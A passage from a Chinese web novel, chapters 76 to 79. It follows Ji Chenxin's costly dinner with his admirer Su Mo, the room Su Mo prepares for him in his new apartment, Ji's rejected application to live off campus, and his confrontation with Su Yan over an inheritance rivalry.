九月的风把纪辰新额前的碎发吹的轻晃,发梢处甚至沾染了一小片刚刚滑落的树叶。 苏陌一错不错地凝视着他,强压着无法控制的心跳,那点想要靠近的念头就像疯长的野草,肆无忌惮地往外钻。 明明人就在眼前,他却根本不满足。 想碰、想抱、想将他揉进怀里 他将隐秘的心思藏在眼底,不敢表露半分。 终于他极轻地抬了抬眼睫,朝纪辰新迈出了一步,微微低头,伸手碰了碰那片沾染着少年发梢的树叶。 他的动作慢且轻,像怕碰碎了什么。 他不笑的时候带着点疏淡的冷,但那冷意里又泄出了不易察觉的软,“没多久,以后见我不用跑,我会一直在原地等你。” “不论多久。” 第76章 纪辰新浅笑着看他, “你是不是傻啊,那我要是爽约,或是迷路了, 你也一直等下去吗?” 少年盯着他眼尾微弯的弧度,抬步又靠近了点,“如果是那样,我会亲自去找你。” 随着这句话落下,纪辰新的心口莫名抖了抖,连同已经被缝合好的伤口也患了一丝麻意。 “苏陌, 你人也太好了吧, 我纪辰新今生能交到你这样的朋友, 真是知足了!” 纪辰新真心诚意地给他发了一张好人卡,他没发现对面的少年在听到这句话时陡然黯淡下去的眼眸。 “走吧,带你去吃饭。”苏陌转身之际, 迅速又调整好了心情。 他知道想要虏获纪辰新的心, 是一场持久战, 而且经不起任何一丁点的失误, 或许只有这样长久的陪伴在纪辰新身边, 用温水煮青蛙的方式,才是对双方都好的状态, 万一把人吓跑了, 他没有自信能将俩人之间的关系恢复如初。 纪辰新与他并肩走在一起, “去哪吃?对了,你说要带我去一个地方,是等下吃饭的地方吗?” 苏陌嗓音轻缓,“不是,吃完饭再带你过去。” 说罢, 俩人就这样一路出了校园。 * 六点半的样子,天已经全黑。 苏陌带纪辰新来到的地方,是一个三星级的米其林餐厅。 餐厅建筑以哑光黑石材为主,落地玻璃幕墙被细窄的香槟金金属线条勾勒,夜晚的灯光透过玻璃,像悬在城市夜空里的发光宝石。 纪辰新从来没有来过这样的地方,忐忑地跟在苏陌身旁,担忧道,“这地方很贵吧?” 苏陌嘴角轻勾,“还好,隔三岔五来吃一顿还是吃的起的,别担心啦。” 隔三岔五? 纪辰新眼睛瞪的直溜,他要是没看错的话,刚刚入口处的牌子,一杯咖啡标价居然要388元! 这是抢钱呢,还是抢钱呢? 暖黄的灯光从穹顶垂落,在光滑的餐布上淌出细碎的光,侍应生托盘里的银质刀叉都泛着温软的光泽,每一处都透着高端与奢华。 苏陌选的位置靠窗,两人面对面而坐,这个餐厅位于写字楼顶层,外观是全景弧形玻璃,再往外看,能看到车流织就的霓虹光影。 侍应生面带微笑地为俩人倒上了红酒,高脚杯里的液体随着轻晃出现了一点细小的漩涡,空气里飘着一种特别的气味。 纪辰新无法形容,便询问了句,“苏陌,你有没有闻到一股带着奶香的潮湿泥土气息?” 他实在懵懂,直直撞上了对面少年正笑着的眉眼。 少年为他解释,“是松露的气味,不过你这个形容倒也准确。” 纪辰新没觉得不好意思,淡然道,“行吧,原来松露是这个味啊。” 苏陌将菜单递了过去,“想吃什么,看看。” 纪辰新哪懂这些,他随意翻开一页就被价格吓到了,他纠结了好一会儿,然后又看了眼周围,那些神态自若,淡定就餐的人,话堵在喉咙,一时说不出口。 苏陌打量着他的神色,几乎猜到了什么,于是抽回了他手中的菜单,“不点的话,我就自作主张了。” 纪辰新不愿做扫兴的人,这可是难得的一次可以见世面的机会,他最终还是咬咬牙接受了下来。 反正这顿饭是苏陌要请的,他可出不起这个钱,他也不可能出钱,主要是太穷的,就算把他卖了,估计都不够抵这顿饭钱的! 苏陌点餐的速度很快,没一会儿,侍应生就过来拿着菜单走了。 纪辰新随他点了什么,心态一旦转变好,人就跟着放松了下来,饶有兴致地欣赏起了夜景。 其实一开始,他还纳闷苏陌为何要带他来这里吃饭,但看了会儿夜景后,又觉得他选在这里确实有一定的道理。 唯一的缺点就是食物太贵了! 整个餐厅看下来,就餐的人数并不多,可想而知,景再美又如何,消费这么高,人家又不是傻子,上赶着送钱来。 但托苏陌的福,今晚他俩就做一回这个傻子吧。 “其实,我平时也很少吃这些,家里的传统中餐更符合我的口味。” 苏陌倏然开口,解释道。 “这个餐厅的老板跟我爷爷是故交,之前一直邀请我爷爷过来品尝美食来着,还给了我们一张会员卡,可以打五折,不限次数使用。但我爷爷过来尝了一次后,死活不愿来了,便将卡给了我。” 原来是这样,算是解了纪辰新心中的疑惑了,他就说嘛,苏陌平时也不是那种贪图享乐的人。 “偶尔才过来消费一次,算是支持我爷爷那朋友的事业了,当然也是想带你过来看看美景。” 苏陌说到这,便将面前的牛奶递到了纪辰新面前,“你的伤还没好,喝牛奶吧,酒就别动了。” 纪辰新愣了下,接过水晶杯,与他的高脚杯碰了碰,清脆又通透的“叮——”声,像冰块撞碎在玻璃上,带着一丝绵长的余韵。 红酒的味道是复合型的,既涩、又带有果酸的清爽感、还有酒精的温热交织在一起。 苏陌微微蹙了蹙眉,尾调带有玫瑰、紫罗兰的花香,以及泥土的清新? 总之说不上好喝,也不算不上难喝。 他很快就放下了高脚杯,不愿继续再喝第二口。 这时,前菜终于端了上来,为他们这桌服务的侍应生,微笑着介绍,“这是鱼子酱龙井虾仁塔塔、腌制乳鸽与鸭肝塔、三文鱼配辣根牛奶与甜菜头核桃;请慢用。” 每一份都是大大的盘子装着小小的食物,数量和分量少的莫名其妙。 纪辰新从两天前就已经摆脱流食和半流食的状态了。 医生说只要不吃太辛辣和油腻的食物,就没什么问题。 但现在已经不是辛辣和油腻的问题了,而是能不能吃饱的问题,纪辰新看着眼前的菜品无语的想。 苏陌使用刀叉的过程文雅又规矩,纪辰新用不惯这些,便问侍应生可不可以给他一双筷子。 侍应生态度很好,有求必应,立马就去给他准备筷子了。 苏陌将食物切好后并没有自己吃,而是转了个边,推到了纪辰新面前,“尝尝。” 纪辰新本就是因为使用不好刀叉才要的筷子,现在苏陌都给他切好了,突然发现好像不用筷子也能吃。 不过,他总不能每上一道菜都让苏陌帮他切吧? 人家凭什么,自己又哪来的脸? 纪辰新晃了晃头,“没事,你吃你的,不用管我。” 话落,侍应生已经将筷子拿过来了。 纪辰新一接过,便熟练得当的用起了筷子。 然而,当他刚夹起一块乳鸽,就注意到餐厅里为数不多的食客,都向他投来了似有若无的目光。 那目光,就好像在说,‘哪里来的土包子,居然连刀叉都不会使,用筷子吃西餐也太不体面了。’ 纪辰新握住筷子的手猛然顿住,他飞快地瞟了一眼苏陌,这顿饭是苏陌请他吃的,他可不想给苏陌丢脸。 就在他思索着要不要放下筷子,重新使用刀叉时,却听见坐在他对面的少年,猝然对着一旁的侍应生开口,“麻烦帮我也拿一双筷子,刀叉我用不习惯。” 他的声音大到足够周遭所有人都听见,就好像是故意说给那些人听的。 纪辰新直直地看着他,不明所以,“你干嘛?你不是用的好好的吗?” 苏陌放下了刀叉,“可我还是喜欢用筷子,以后咱们不来这吃饭了,又贵又不好吃。” 是吗? 纪辰新犹疑地看着他。 但不得不说,苏陌的这番话,实打实地说到了他心坎里了,因为他就是这样想的,没想到苏陌居然跟他想到一块儿去了。 “不过,这儿的景色还是不错的,是个观景的好地方。”纪辰新真心实意道。 苏陌弯了下唇,“你喜欢就行,我还怕你今天的体验感不好呢。” “怎么会,我感谢你还来不及呢,要不是你,我这辈子都没机会来这么高档的地方吃饭。”纪辰新笑的开怀,“我是说真的。” 这时候,侍应生又拿来了筷子,毕恭毕敬地,态度一如既往地好,苏陌大手一挥,给了他小费。 等到前菜吃完后,才上的主菜。 主菜的名字比前菜还要花里胡哨,纪辰新根本不明白为什么一个菜要取这么复杂的名字。 吃起来嘛,味道也就一般,几口就没了。 什么鳕鱼、和牛、菌菇、藏红花烩饭五六个盘子。 后面是汤品和甜品,花胶鸡丝羹与法式焦糖布丁。 一顿饭下来,粗略估计,花了有两个多小时。 纪辰新坐都坐麻了,但要说吃了什么,那一个名字都说不出,反正就是来了什么,就往嘴里塞,食材丰富,要啥有啥。 到了结账环节,苏陌刷的卡。 侍应生:“两位先生,今晚一共消费8768元,由于您是尊贵的至臻会员,给您打五折,最后的消费总额为4384元。” 纪辰新虽然已经做好了这顿饭不便宜的准备,但在实际听到价格的那刻,心都在滴血。 即便不用他付钱,但他也很心痛,这应该是他这辈子吃的最奢侈的一顿饭了,关键吧好像还没吃饱。 他神色复杂地看着苏陌付了款,出餐厅时,整个人都是恹恹的,根本无法释怀。 “苍天啊,这几个盘子居然要八千多?这要是去网吧包夜,都可以包一整年了,甚至还有余。” “呵”苏陌被他这比喻逗乐了,莫名就想起了七年前,纪辰新来他家,说要给他当佣人的话,他还真是一如既往地 不过,也不知道他那时候说的话还算不算数? 他现在倒是真的有想聘请他的想法了。 不是当佣人,而是当恋人,亦或是家里的男主人! 第77章 “现在去哪?”纪辰新不再去想刚刚这顿饭的花销, 转移注意力道,“你到底要带我去哪?” 苏陌朝不远处的司机招了下手,下一秒司机便将车开了过来, 少年卖着关子,“上车你就知道了。” “行吧。”纪辰新见他依旧不愿说,索性也就不问了。 他安静地跟着苏陌上了车,车窗外,红色尾灯在视线尽头连成流动的光河,引擎轰鸣与鸣笛声交织成城市的夜曲。 过去的道路, 越看越熟悉, 纪辰新总觉得特别像回学校的那段路, 虽然他也刚来学校没多久,但几个标志性建筑他还是留有印象的。 车子最终在距离学校1公里不到的地方停下了,那是一个小区门口, 保安过来核实了一趟信息后, 便将他们放行了。 纪辰新不明所以地坐车去往了地下室, 没一会儿又跟着苏陌上了某一栋的电梯, 最终电梯停在了第25层。 电梯门向两侧缓缓滑开, 迎面不是公共走廊,而是专属的私家入户前厅。 这一层, 居然就这一户吗? 纪辰新很是讶异。 电梯厅好像成了室外玄关, 私密倒是挺私密的, 却也新奇。 苏陌领着纪辰新出了电梯,随后便当着纪辰新的面,输入了房子的密码。 纪辰新很有自知自明地撇开了头,保守着自己的边界。 “叮”地一声,密码输入正确, 大门随即被打开。 纪辰新霎时抬眼望去,灯光随着苏陌的动作而亮起,映入眼帘的是一个广阔的大平层。 “进来吧,这是我用我这些年打比赛获得的奖金,所购买的房子,离学校近,交通也便利,附近有商超,离医院也不远,而且刚刚你也看到了小区的绿化,品质都还不错。” 说着,他就去到了落地窗前,“从这里眺望,景色尽收眼底。” “暑假期间买的,你觉得怎么样?” 纪辰新看着这个通透的空间,连带着窗外的光影透过玻璃在墙面流转,仿佛整个城市的璀璨都成了私属背景,气派感在开阔视野与光影交织中自然流露。 “挺不错的,所以你不准备住校,准备走读?” 纪辰新实在想不出,他突然买一个这样大的房子是为了什么,好像只有走读才能说的通。 但,若真是为了走读而买的房子,也夸张,太离谱了吧! “对,我不准备住校,作为职业选手,有时候比赛来了,身不由己,需要在各个城市之间辗转,作息也不规律,如果在学校住,很可能会打扰到别人。” 少年微微颔首,嗓音清冽,长睫在眼下投下浅淡的阴影。 “我相信你一定能理解,所以,我也给你准备了一个房间。” 刹那间,纪辰新震惊地瞪大了眼睛,“什么?给我?” 苏陌原本平直的唇线微微抿起,耳尖悄悄漫上了薄红,“嗯,你没听错,走吧,我们一起去看看你的房间。” 他的一举一动都带着克制的矜贵,眼里藏着的温柔只对着身后那一人显露。 纪辰新愕然地跟在他身后,“其实其实” 他想说不用为他准备的,他住学校也挺好,但当他看到整个房间的布局与面貌后,他所有想要拒绝的话,瞬间都咽了下去。 苏陌为他准备的这间房,以浅灰与原木为底,开阔得不见一丝局促,落地窗占据南墙,白色纱帘半垂,将窗外的景致滤成了朦胧的画。 房间中央放着一张男生都会喜欢的高级极简风黑框实木床,侧面是顶天立地的书架,在床的对面是浅木色的电脑桌,甚至连最新款的电脑都给他准备好了。 地上是地毯绣着的暗纹,踩上去柔软无声。 纪辰新情不自禁地走了进去,匪夷所思地打量着这一切时,猛然又发现还有一个与卧室相连的衣帽间在等着他。 玻璃门移开,内部分区清晰,衣帽间顶部的感应灯随着门开启自动亮起,暖光打在各层,既实用又显格调。 这里的每一寸都完全吊打学校那间三十平还住了四个人的简陋宿舍。 此时此地,纪辰新根本说不出任何拒绝的话,他甚至恨不得立马搬过来,到底谁要住那个破宿舍啊,谁要跟高质量的生活品质过不去啊? “这这真是给我准备的?” 纪辰新不可置信地重复问,他这辈子都没住过这么好的房子。 “我是不是听错了?” “要不要我出房租啊,我可拿不出钱。” 苏陌的周身裹着层疏离的薄雾,但在面对纪辰新时,又会悄然碎裂。 “不用你出钱,这间房就是给你准备的,你想什么时候搬过来都行。” “电梯感应卡和房子密码,我也都会给你一份,随时欢迎。” 纪辰新听完,激动地用双手握住了苏陌的手,感慨连连,“好兄弟,好兄弟,以后有任何需要帮忙的地方,尽管说,我绝对为你两肋插刀,我纪辰新说到做到!” 少年感受着手上传来的劲,有些无奈道,“好,知道啦,放心,有困难一定告诉你。” “哈哈,那就这么说定了。”纪辰新已经想好了,这个礼拜就向辅导员打申请。 既然这里距离他们平时上课的教学楼,跟宿舍距离教学楼的路程都差不多远,那不搬白不搬啊! 这么想定后,他便高高兴兴地巡视起自己的领地,这个房间的角角落落。 特别是那台电脑,他迫不及待地开了机,就为了看电脑性能如何,打游戏顺不顺畅。 等他全部检查完,满意地回过头时,却发现苏陌早已不在房间了。 纪辰新自觉地找了出去,直到路过浴室时,才隐隐听见了里面的水流声。 “苏陌,你在洗澡?” 他冷不丁的,问出了这样一句多此一举的话。 水声那么规律,人家明明就是在洗澡啊,根本都不用问。 而且,里面的人能听到就有鬼了。 然而,下一秒,水声蓦地停止,缓缓传来少年的回应,“怎么了?” “额,没什么没什么,你洗你的,我就是问问而已。”纪辰新连忙道。 话落,里面的水流声并未恢复,就在纪辰新打算回房间继续研究电脑时。 “蹭”地一声,浴室门从里面突然拉开了。 纪辰新猝不及防地与洗澡洗到一半,光着上半身的少年对上了视线。 浴巾被苏陌松松垮垮地系在了腰胯间,带着热气的水珠正顺着他线条利落的下颌线往下滑,滴落在锁骨凹陷处。 只见他抬头撩了撩额前的发,手臂肌肉瞬间绷紧,腰腹肌肉也随着他的动作微微起伏,暖光映照下,他的每一寸肌理都浸着水汽的润泽,头发上滴落的水顺着脊背的弧度往下淌。 他垂眸深深地看着面前的人,眼尾微微上挑,眼底像是盛着揉碎的星光,带着刚沐浴的慵懒,又藏着几分似有若无的勾人。 “我听见你喊了我的名字。” 纪辰新人都麻了,他都不知道他是怎么听见的,他是有顺风耳吗? 不过,这样子的苏陌倒是挺好看的,怎么回事? 他的思绪不由飘远,不合时宜地又想起了在VIP室里的一幕。 这丫的,果然不管是外貌还是身材都超拿得出手呢,令人羡慕的紧。 纪辰新的眼眸,直白地流露出欣赏的神色,“真的没什么,你继续去洗吧。” 苏陌盯着他,嘴角轻扯,神态戏谑,仿佛发现了什么感兴趣的东西。 他明明没说话,却就是拥有令人移不开目光的魅力,一举一动都引得纪辰新不自觉地解释,“怎么,你不信啊?” 苏陌偏了下头,凑近他,喉结滚动,嗓音微哑,“你刚刚为什么这么看我?” 他靠的有些近,纪辰新能感受到从他身上传过来的热气,脑子一时发昏,“我怎么看你了?” “我我只是突然觉得你长的挺好看,身材也不错好吧。” 他将心里话脱口而出,下一瞬却紧急咬了咬唇,轻咳了两声,才道,“咳咳,你千万别骄傲,小爷我的身材其实也不错的,不比你差!” 不知是哪句话勾起了苏陌的回忆,他倏然轻笑一声,“嗯,是不错,确实不比我差!” 说罢,他饶有兴致地从上到下打量了纪辰新一眼,视线火辣辣的,就好像真的看到了什么一样。 纪辰新一激灵,霎时就回想起了那时候在医院,他还真的就被这丫的从上到下,狠狠看光了! 淦! 老子一世英名,毁于一旦! “对了,你现在还需不需要我帮你”苏陌调侃着打趣道,他很少这样说话,但眉眼一弯,莫名撩人。 纪辰新猛地一拍头,懊恼不已,“滚啊,老子自己能洗!” “好凶哦,纪辰新,你怎么这么凶啊?”少年嘴角擒着浅淡的笑,软了嗓音。 纪辰新无动于衷道,“你管我哪样!” “砰”地一声,浴室门被纪辰新强硬的关上了,“把你的脑子冲一下,比什么都强。” 少年看着被门隔绝的某人,惋惜道,“确定真不用我帮忙吗?” 回应他的是,纪辰新逐渐远去的声音,“你再说!我回学校了!” * 苏陌洗完澡出来,吹干头发,已经是晚上十点了。 纪辰新只更新了一下游戏还没玩,便表示自己要回去了。 “我室友说,11点要查寝。” “好,我送你。” “不用,都这么晚了,我又不是不知道怎么回去。”纪辰新摆摆手,拒绝了。 但苏陌一旦决定了的事,一般都很有自己的坚守,他没理会纪辰新的拒绝,执意要送他回学校。 “我必须看着你安全回到寝室,不然出事了怎么办?” “我一个男的,能出什么事。”纪辰新不以为然地撇了撇嘴。 少年倏然轻轻将手贴在了他胸口,“你说能出什么事,你这里伤口有多深,缝了多少针,难道全忘了?” “” 纪辰新一时之间哑口无言,他想说纪知远都已经被警察抓了,不会有什么事了。 但面对苏陌认真且严肃的眼眸,他终是败下阵来,选择听从安排。 少年微微垂眼,长睫在眼下投下软绒绒的阴影,视线与他齐平,指尖带着被热水浸过的暖意,声音放的比平时低,“走吧,小病患。” “今天就让我给你当一回骑士。” 苏陌周身温和的气息裹了过来,没有丝毫的压迫,只有柔软与安定,给足了他安全感。 第78章 纪辰新的大学生活随着苏陌的报到, 逐渐步入了正轨。 由于两人学的不是同一个专业,所以平时能待在一起的时间并不算多。 其实,纪辰新早在暑假期间就知道了苏陌要报的专业是金融。 那时候, 苏陌是这样跟他解释的:“家里资产太多,爷爷不放心,他希望我能多了解一点这方面的知识,这样就算他百年之后,那些资产交给别的机构或是人打理,也不至于被人欺负, 欺骗了去。” 再加上, 苏陌本身也只对下围棋感兴趣, 其他的都不放在心上,苏老爷子可谓是煞费苦心。 就此,苏陌听从了爷爷的提议。 当然, 纪辰新也并未发表意见, 毕竟这是人家的家事, 人家想怎么样都成。 这几天, 俩人虽不在一起上课, 但纪辰新一直在为了搬去苏陌的大房子而努力。 走读的申请,已经向辅导员提交了两天, 但总是没有下文。 这天下课后, 纪辰新再一次踏入了辅导员的办公室。 辅导员是一个三十多岁的中年妇女, 她戴着个黑框眼镜,眼神犀利,面对纪辰新的再三申请,最终给予了驳回。 纪辰新不明白,“为什么啊, 邓老师,是我的资料不够齐全吗,还是有什么其他原因?” 他口中的邓老师,推了推鼻梁上的眼镜,语气和缓道,“纪辰新同学,是不符合学校规定。” “我校明确规定走读政策,仅允许同城的学生申请,并且提供户籍或居住证明。” “这也是学校为了学生的安全着想,希望你能明白。” 纪辰新没想到他的申请居然会被驳回,就因为他不是本地学生,没有本地户口,所以连走读都不行。 不对,他明明记得之前搜学校贴吧时,有看到过非本地学生申请走读成功的,怎么到他这就不行了? 他如实表达了自己的疑问,“如果我没记错的话,我有看到过外地学生申请走读,成功的案例,就发生在上个学期。” 邓老师点了点头,“嗯,是有这种情况,当学生身体不适,患有严重抑郁症时,提供三甲医院证明,且学生家长愿意过来配合签订走读同意书的情况下,是允许走读的。” 意思很明确了,当学生患病,有自杀倾向时,学校巴不得学生走读,别牵连了学校。 被驳回的每一条,纪辰新都无法提供资料。 第一他又没病,根本不可能去找医生开什么证明,第二,让奶奶大老远过来,就为了给他签订同意书就更是无稽之谈了。 如此,他搬离宿舍,住进大房子的美好的愿望,就此落空。 他安慰着自己,大不了周一至周五就住学校,等到了周末再住到那边去。 内心的失落,显而易见,以至于回宿舍的路上,纪辰新整个人都是心不在焉的。 系统感知到了,便给他出主意,【要不,你把这事告诉苏陌,他肯定有办法解决。】 纪辰新心中叹惜,【能怎么解决?我是外地学生,这本就是事实,而且我也没患病,更不可能因为这样一件小事,大老远把奶奶接过来。】 系统自有自己的一番看法,【规矩是死的,人是活的,只要钱到位,什么都好商量,而且以苏陌家的社会关系,我估计都用不到钱,人脉一出,打声招呼的事。】 【算了吧,我不想去麻烦他了,人家肯为我在寸土寸金的帝都准备一间这么好的房间,我就应该感恩戴德了,怎么还能得寸进尺,要求其他?】 纪辰新坚决不同意这么做。 他的调节能力很强,坏心情一会儿就消失的无影无踪了。 等他回到宿舍时,脸上早已恢复了平静。 “我靠,纪辰新,你跟那位帅哥认识啊?”侯杨不知什么时候又刷到了贴吧里的帖子。 一张纪辰新与苏陌相谈甚欢的照片,正挂在了热帖上。 照片的拍摄地点就在操场,是那日俩人刚碰面时的情景。 纪辰新看了眼侯杨发在群里的截图,淡淡回了句,“嗯,以前就是朋友。” 侯杨看着帖子里面的内容,调侃道,“你们两现在一同被封为校草了,但到底谁第一,大家还在争论,众说风云。” 纪辰新对这些没兴趣,他回到了床上,背靠着墙,拿出了一个折叠桌和折叠棋盘,三天不下棋,就会“死”的魔咒牢牢印在了他的心里,成了一种习惯。 他下棋的时候,几乎做到了身心合一,周遭的一切都将与他无关,被他摒弃。 时间一分一秒过去,等他终于放下手中的棋子时,窗外的天色已经暗了下来。 苏衍不知是何时回来的,他带回了围棋社的招新宣传海报,就放在纪辰新的床头。 宿舍此刻就剩他们俩,纪辰新不明所以地将海报拿起观摩了一番,上面写着:“落子无悔,青春有围”的宣传标语。 紧接着下面是:围棋社,等你来赴这局山海之约,在这里,每一步都是成长的开始。 “以棋会友,围你而来。”苏衍倏然站在了他床下,目光灼灼地看着纪辰新,“感兴趣了?要不要跟我去看看,这是个非常和谐友爱的大家庭,他们一定会欢迎你的到来的。” 他的语气诚恳,他的邀请让任何热爱围棋的人,都会忍不住动恻隐之心,想要去看看,他口中的围棋社到底是怎样的一番小天地。 纪辰新沉默地注视他良久,最终还是选择了拒绝,“不好意思啊,我觉得还是下野棋更适合我。” 他一直都有自己的考量,虽然围棋在自己的生命中占据重要地位,但如何下,在哪下,下不下这种问题,他还是想自己作主。 别说是一个小小的围棋社了,当初好几个棋院邀请他,他都没同意,他是如此的向往自由,断不可能被任何东西困住。 苏衍没想到他会拒绝的如此斩钉截铁,明明第一次问他时,他看上去还是犹豫的。 如果纪辰新知道他内心的想法,一定会说,他那时候也不过是在权衡罢了。 到底是去围棋社下,还是自己下,这个选择题,他刚刚才选好。 他不喜欢和谐友爱四个字,这意味着,‘需迁就,要合群’的隐形规则。 当个性被和谐吞噬,有爱变成道德绑架,花费大量时间精力维护人际关系时,还会觉得美好吗? “纪辰新,如果现在是我哥邀请你,你还会拒绝吗?”苏衍压低声音,说了这样一句,充满质问的话,“说到底,他的面子大过天,你又怎么可能将我放在眼底。” 苏衍的神色一向隐藏的很好,这还是头一次隐隐透露出似有若无的愤怒与不甘。 纪辰新静静看着他,目睹了他迅速收敛情绪,仿佛刚刚流露出来的愤怒与不甘只是他的错觉。 苏衍转瞬间,就恢复成了正常的状态,“我只是随口一说,你不用放心上。” 纪辰新挑了挑眉骨,微微低头,朝他意味不明道,“苏衍,你终于承认他是你哥了?” “前两天,他来我们教室门口找我一起吃饭,你明明都看到他了,为什么装作不认识?” “还有,侯杨发出来的照片、截图,你明明也看到了,为什么始终保持沉默?” 苏衍脸色不太好看,嗤笑道,“原来你都知道啊,是他跟你说的吧,他都跟你说什么了?” 他就知道,苏陌看到他之后,怎么可能放心,估计说了不少诋毁他的话,甚至早就叮嘱纪辰新远离自己了。 “啧,他没跟我说什么,因为他至今都没发现你也在这个学校。”杀人诛心,纪辰新一句话就将苏衍狠狠钉在了原地。 比失败更让人难以接受的是,他一直视作假想敌的哥哥,从未将他放在眼里过,甚至都没注意过他的存在。 “苏衍,我觉得你可能记性不太好。”纪辰新懒得和他演好室友了,“小时候,我们是见过面的。” “要不要我帮你回忆一下” “再欺负苏陌的话,小心我报警抓你哦!” 报警? 电光火石间,苏衍还真的想起了过去的某个片段,印象虽不深刻,却也留下了一丝痕迹。 原来这么早之前,他们就有过一面之缘了。 苏衍回想起这些天,他在纪辰新面前的种种行为,自己都觉得可笑。 他就像个跳梁小丑般,演绎着自己设定好的剧情,还私以为对纪辰新有了掌控。 殊不知,人家早已将他看穿! 纪辰新注意着他的神态变化,用五彩纷呈来形容都不为过。 “想必,你已经想起来了,既如此,我就不跟你兜圈子了,你到底想干嘛,你接近我意欲何为?” 纪辰新下颌绷得发紧,清亮的眼瞳里燃着火苗,字字都像带着刚淬过的锋芒。 “让我猜一猜,你是想和苏陌斗?” “你要和他争家产?” 苏衍虽未回应,但纪辰新已然笃定。 “真是可笑,你想要争家产,扯上我干嘛,我跟你们有毛的关系啊?” 纪辰新简直莫名其妙,他实在不理解,苏衍每天接近自己,跟自己示好是几个意思。 “我和苏陌虽然是朋友,但也只是朋友,我又不是你爸的儿子,你爷的孙子,你最该接近的明明是他们,你接近我,难道还指望我给你争权夺利啊?” “你脑子是秀逗了吗!” “傻/逼/吧!” 纪辰新眼瞳竖起,又凶又急,骂起人来鲜活极了,他的耳尖甚至因为激动染上了薄红。 苏衍就这样看着他,微蹙的眉梢倏然松开,眼里的迷茫像是被风吹散。 他盯着纪辰新的目光由愤恨变作了探究,逐渐浮现起兴味,“我承认你说的很有道理。” “这样,你要不要跟我爸妈也说说?” “毕竟,他们的确就是这么想的。” “???”纪辰新呆立着看他,后槽牙轻咬,“你胡说八道什么呢?” “不对,你是苏陌重要到能放弃升段赛的朋友,不管怎么说,你的存在,在一定程度上,绝对是能制裁他的。”苏衍自顾自道。 下一秒,他眉眼里盛着恍然大悟的笑意,“所以,接近你还是很有用的。” 纪辰新注意到他的眼神须臾间变的比之前更热络了,甚至浮现出了好奇与向往。 就好像空心人,突然有一天拥有了自己的思想。 “我突然发现,你这个人好像比争家产更有意思。” 纪辰新白眼一翻,摩拳擦掌地恐吓道,“呵呵,老子等会儿揍你,你看还有没有意思!” 第79章 苏衍被骂也不以为意, 他望着纪辰新的目光,直直扎过去,亮的惊人。 “真是如释重负, 终于不用跟你演了,你说苏陌要是知道我们俩同住一个宿舍,会怎么想?” “能怎么想,你以为你是什么重要的人吗?”纪辰新怼他时眼皮都没抬,只斜睨着眼。 苏衍感受着他淬了冰的言语,嘴角勾着抹凉薄的笑, “我当然不重要, 但你不同啊。” “我作为他家产唯一的竞争对手, 我们向来不对付,你又是他最好的朋友,这都开学多久了, 你都没跟他表明我的存在, 你说他会怎么想?” “会不会以为你跟我同流合污, 在背后算计他呢?” “你就不怕我告诉他吗?” “我有时候真希望你去看看脑子。”纪辰新眉梢轻挑, 眼底藏着毫不掩饰的嘲讽, “你要是真能争到家产,还用得着曲线救国来找我?” “你的这些举动, 恰恰说明, 你拿他没有一丁点办法, 所以那自然是不管你做什么都没用罗。” “至于我,他怎么想我,我都问心无愧,你还是好好思考自己下一步该怎么走吧,现在失了我这颗棋子, 你还有别的招吗?” “别妄想在我身上打主意了,我不会配合的,趁早死了这条心。” 苏衍被他噎的哑口无言,虽然这些话没带半个脏字,但句句往人痛处扎。 纪辰新精准找到了他的窘迫,他的困境。 他的存在,对于苏陌来说,甚至都比不过纪辰新一个外人。 苏衍不想承认这一点,但事实就是这么的赤裸,他不甘心! 从小到大,所有人都在夸赞苏陌,而贬低他,他几乎活在了苏陌的阴影之下,甚至遭受不明原因的辱骂。 是,他比不上苏陌,各方面都比不上。 对,他最开始是私生子,可后来,爸妈都领证结婚了,那些人凭什么还指责他? 就因为他没有得到爷爷奶奶的认可,就不是正统的苏家血脉? 凭什么? 苏陌只不过比他更早一步投胎罢了,若是妈妈先怀孕,还有她温若宁什么事? 如果是这样,家产就都是他的了,爸爸妈妈也不会吵架,总骂他没用了。 “纪辰新,你根本什么都不懂,你不会知道我经历了什么,我本应该过苏陌那样的人生,现在却只能住普通的房子,坐普通的车子,每年得到的零花钱,都没有苏陌一个月多。” 纪辰新下颌线绷的笔直,“我不知道你在伤春悲秋什么,你以为你先出生,你就能成为苏陌?” “你会下围棋吗?” “你围棋几段啊?” “定过段吗?” “你所谓的普通房子,可是位于帝都的市中心啊,你所谓的普通车,不少于百万起步吧,至于零花钱,人家苏陌每年到处比赛,钱都是自己攒的,买房子都不用爷爷奶奶掏钱。” “他那么努力,你呢?你有什么啊,就知道惦记那点家产。” “你的日子,到底哪里不好过了?” “我发现你这个人,真是不知足。” “你要不要看看我过的是什么日子!” 纪辰新眼神似刀刃,刮得人皮肤发紧,连呼吸都带着股冷意,将苏衍的辩解撕了个稀碎。 “小伙子,思想放端正点,你每天这样恨来恨去,总觉得上天不公,亏欠了你,小心财富对你避而远之。” “你没发现你的条件是我们寝室最好的吗?” “在这个学校,你已经是中等偏上了。” “而且没记错的话,你爸虽然没做江洲那边的业务了,但帝都的业务还是在的,钱也在挣,靠你们自己不好吗?” 系统跟他同仇敌忾,及时补充道:【苏陌的爷爷苏瀚阳,早年间拿了家里一大半的资金给苏枕山南下做生意,结果一分钱回报都没有。】 【那些钱,要不是亏了,要不就是转给了苏衍的他妈,周清禾。】 【后来,苏枕山经营不善,周清禾也不愿意出一分钱帮他周转,然后生意就做不成了,只能将主意打回帝都。】 【回到帝都后,那两口子,总惦记着苏瀚阳的资产,知道自己不受欢迎,就让苏衍时不时过去尽孝,说什么上一代的恩怨不应该让下一代承担。】 【苏瀚阳看到了事情的本质,他知道,若将资产和钱给了苏枕山,就是变相的给了周清禾,即便是给了苏衍,最后也是落在周清禾手里,那女人就跟貔貅一样,只进不出的,所以苏瀚阳就一直没松口。】 【再加上,苏陌那时候也才十四岁,老两口自然也得为他做打算,就怕孙儿被这两口子生吞活剥,算计了。】 纪辰新唏嘘了一声,【他们的胃口倒是真大,先前已经拿了一大半了,居然还不知足,不知道的,还以为他们与苏家有仇,要把苏家搞垮呢。】 系统:【谁说不是呢,若是苏瀚阳没守住,估计真垮了。】 纪辰新没好气道,【所以,他们就无所不用其极,甚至将算盘打到了我身上?】 系统:【应该是的,这几年他们用了太多办法,都没用,算是死马当活马医了。】 【等苏陌成年,苏瀚阳就会将资产都过户给苏陌了,时间不等人啊,他们会兵行险着也正常。】 纪辰新撇了撇嘴,推测道,【所以他们想联合我,策反我,设计并背刺苏陌,将资产拿到手?】 苏衍被纪辰新狠狠骂了一顿,沉默了许久,纪辰新不知道他到底听进去没有,总之再也没了对话的欲望,收拾起了棋子。 